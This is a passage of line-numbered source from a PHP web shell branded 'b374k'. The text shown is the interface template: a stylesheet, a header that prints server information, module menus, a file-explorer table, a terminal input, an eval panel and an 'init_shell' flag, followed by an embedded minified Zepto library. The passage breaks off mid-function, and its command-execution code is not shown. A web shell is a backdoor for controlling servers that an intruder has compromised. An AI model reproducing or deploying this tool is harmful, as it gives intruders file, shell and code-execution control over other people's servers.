5273<style type="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ooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format('woff');
5277font-weight: normal;
5278font-style: normal;}*{
5279font-family:ubuntumono;
5280margin:0;
5281padding:0;
5282border:0;
5283-webkit-box-sizing:border-box;
5284-moz-box-sizing:border-box;
5285box-sizing:border-box;
5286font-size:12px;
5287font-weight:normal;}input:focus, select:focus, textarea:focus, button:focus{
5288outline:none;}html, body{
5289width:100%;
5290height:100%;
5291color:#222222;}body{
5292background:#f0f0f0;
5293line-height:17px;}a{
5294text-decoration:none;
5295color:#000000;}a:hover{
5296cursor:pointer;}p{
5297padding:8px 0;}img{
5298vertical-align:middle;}table{
5299width:100%;}table td, table th{
5300vertical-align:middle;
5301padding:8px;}textarea, input, select{
5302background:#ffffff;
5303padding:8px;
5304border-radius:8px;
5305color:#111111;
5306border:1px solid #dddddd;}textarea{
5307resize:vertical;
5308width:100%;
5309height:300px;
5310min-height:300px;
5311max-width:100%;
5312min-width:100%;}hr{
5313margin:8px 0;
5314border-bottom:1px dashed #dddddd;}video{
5315width:100%;
5316background:#222222;
5317border-radius:8px;}h1, h2{
5318background:#E7E7E7;
5319border-bottom: 1px solid #cccccc;
5320color:#000000;
5321border-radius:8px;
5322text-align:center;
5323cursor:pointer;
5324padding:8px;
5325margin-bottom:8px;}h1 a, h2 a{
5326color:#000000;}pre, #viewFilecontent{
5327word-break:break-all;
5328word-wrap:break-word;}pre{
5329white-space:pre-wrap;}#b374k{
5330cursor:pointer;}#header{
5331width:100%;
5332position:fixed;}#headerNav{
5333padding:10px 8px 6px 8px;
5334background:#333333;}#headerNav img{
5335margin:0 4px;}#headerNav a{
5336color:#efefef;}#menu{
5337background:#7C94A8;
5338height:33px;
5339border-bottom:3px solid #CCCFD1;}#menu .menuitem{
5340padding:7px 12px 6px 12px;
5341float:left;
5342height:30px;
5343background:#7C94A8;
5344color:#ffffff;
5345cursor:pointer;}#menu .menuitem:hover, #menu .menuitemSelected{
5346background:#768999;
5347color:#ffffff;}#menu .menuitemSelected{
5348background:#768999;}#basicInfo{
5349width:100%;
5350padding:8px;
5351border-bottom:1px dashed #dddddd;}#content{
5352background:#f0f0f0;
5353height:100%;
5354padding:66px 8px 8px 8px;}#content .menucontent{
5355background:#f0f0f0;
5356clear:both;
5357display:none;
5358padding:8px;
5359overflow-x:auto;
5360overflow-y:hidden;}#overlay{
5361position:fixed;
5362top:0px;
5363left:0px;
5364width:100%;
5365height:100%;
5366display:none;}#loading{
5367width:64px;
5368height:64px;
5369background:#7C94A8;
5370border-radius:32px 0 32px 0;
5371margin:auto;
5372vertical-align:middle;}#ulDragNDrop{
5373padding:32px 0;
5374text-align:center;
5375background:#7C94A8;
5376border-radius:8px;
5377color:#ebebeb;}#form{
5378display:none;}#devTitle{
5379background:#ebebeb;}.box{
5380min-width:50%;
5381border:1px solid #dddddd;
5382padding:8px 8px 0 8px;
5383border-radius:8px;
5384position:fixed;
5385background:#ebebeb;
5386opacity:1;
5387box-shadow:1px 1px 25px #150f0f;
5388opacity:0.98;}.boxtitle{
5389background:#dddddd;
5390border: 1px solid #cccccc;
5391color:#000000;
5392border-radius:8px;
5393text-align:center;
5394cursor:pointer;}.boxtitle a, .boxtitle a:hover{
5395color:#000000;}.boxcontent{
5396padding:2px 0 2px 0;}.boxresult{
5397padding:4px 10px 6px 10px;
5398border-top:1px solid #dddddd;
5399margin-top:4px;
5400text-align:center;}.boxtbl{
5401border:1px solid #dddddd;
5402border-radius:8px;
5403padding-bottom:8px;
5404background:#ebebeb;}.boxtbl td{
5405vertical-align:middle;
5406padding:8px 15px;
5407border-bottom:1px dashed #dddddd;}.boxtbl input, .boxtbl select, .boxtbl .button{
5408width:100%;}.boxlabel{
5409text-align: center;
5410border-bottom:1px solid #dddddd;
5411padding-bottom:8px;}.boxclose{
5412background:#222222;
5413border-radius:3px;
5414margin-right:8px;
5415margin-top:-3px;
5416padding:2px 8px;
5417cursor:pointer;
5418color:#ffffff;}.strong{
5419color:#7C94A8;
5420text-shadow:0px 0px 1px #C0DCF5;}.weak{
5421color:#666666;}.button{
5422min-width:120px;
5423width:120px;
5424margin:2px;
5425color:#ffffff;
5426background:#7C94A8;
5427border:none;
5428padding:8px;
5429border-radius:8px;
5430display:block;
5431text-align:center;
5432float:left;
5433cursor:pointer;}.button:hover, #ulDragNDrop:hover{
5434background:#768999;}.floatLeft{
5435float:left;}.floatRight{
5436float:right;}.colFit{
5437width:1px;
5438white-space:nowrap;}.colSpan{
5439width:100%;}.border{
5440border:1px solid #dddddd;
5441background:#ebebeb;
5442border-radius:8px;
5443padding:8px;}.borderbottom{
5444border-bottom:1px dashed #dddddd;}.borderright{
5445border-right:1px dashed #dddddd;}.borderleft{
5446border-left:1px dashed #dddddd;}.hr td{
5447border-bottom:1px dashed #dddddd;}.cBox, .cBoxAll{
5448width:10px;
5449height:10px;
5450border:1px solid #7C94A8;
5451border-radius:5px;
5452margin:auto;
5453float:left;
5454margin:3px 6px 2px 6px;
5455cursor:pointer;}.cBoxSelected{
5456background:#7C94A8;}.action, .actionfolder, .actiondot{
5457cursor:pointer;}.phpError{
5458padding:8px;
5459margin:8px 0;
5460text-align:center;}.dataView td, .dataView th, #viewFile td{
5461vertical-align:top;
5462border-bottom:1px dashed #dddddd;}.dataView tbody tr:hover{
5463background:#ebebeb;}.dataView th{
5464vertical-align:middle;
5465border-bottom:0;
5466background:#e0e0e0;}.dataView tfoot td{
5467vertical-align:middle;}.dataView .col-cbox{
5468text-align:center;
5469width:20px;}.dataView .col-size{
5470width:70px;}#xplTable tr>td:nth-child(3){
5471text-align:left;}#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
5472text-align:center;}.dataView .col-owner{
5473width:140px;
5474min-width:140px;
5475text-align:center;}.dataView .col-perms{
5476width:80px;
5477text-align:center;}.dataView .col-modified{
5478width:150px;
5479text-align:center;}.sortable th{
5480cursor:pointer;}#xplTable td{
5481white-space:nowrap;}#viewFile td{
5482text-align:left;}#viewFilecontent{
5483padding:8px;
5484border:1px solid #dddddd;
5485border-radius:8px;}#terminalPrompt td{
5486padding:0;}#terminalInput{
5487background:none;
5488border:none;
5489padding:0;
5490width:100%;}#evalAdditional{
5491display:none;}.hl_default{
5492color:#517797;}.hl_keyword{
5493color:#00BB00;}.hl_string{
5494color:#000000;}.hl_html{
5495color:#CE5403;}.hl_comment{
5496color:#7F9F7F;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}#totop:hover,#tobottom:hover{opacity:0.80;}#toggleBasicInfo{display:none;float:right;margin:0;}#basicInfoSplitter{display:none;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}#showinfo{float:right;display:none;}#logout{float:right;}</style>
5497</head>
5498<body>
5499<!--wrapper start-->
5500<div id='wrapper'>
5501<!--header start-->
5502<div id='header'>
5503<!--header info start-->
5504<div id='headerNav'>
5505<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
5506<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' /> <span id='nav'><?php echo $nav; ?></span><a class='boxclose' id='logout' title='log out'>x</a>
5507<a class='boxclose' id='showinfo' title='show info'>v</a>
5508</div>
5509<!--header info end--><!--menu start-->
5510<div id='menu'>
5511<?php
5512foreach($GLOBALS['module_to_load'] as $k){
5513echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";}?>
5514</div>
5515<!--menu end--></div>
5516<!--header end--><!--content start-->
5517<div id='content'>
5518<!--server info start-->
5519<div id='basicInfo'>
5520<div id='toggleBasicInfo'></div>
5521<?php
5522echo $error_html;
5523foreach(get_server_info() as $k=>$v){
5524echo "<div>".$v."</div>";}?>
5525</div>
5526<!--server info end--><?php
5527foreach($GLOBALS['module_to_load'] as $k){
5528$content = $GLOBALS['module'][$k]['content'];
5529echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";}?>
5530</div>
5531<!--content end--></div>
5532<!--wrapper end-->
5533<div id='navigation'>
5534<div id='totop'></div>
5535<div id='tobottom'></div>
5536</div>
5537<table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
5538<form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
5539<!--script start-->
5540<script type='text/javascript'>
5541var targeturl = '<?php echo get_self(); ?>';
5542var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
5543var win = <?php echo (is_win())?'true':'false';?>;
5544var init_shell = true;
5545/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
5546var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var 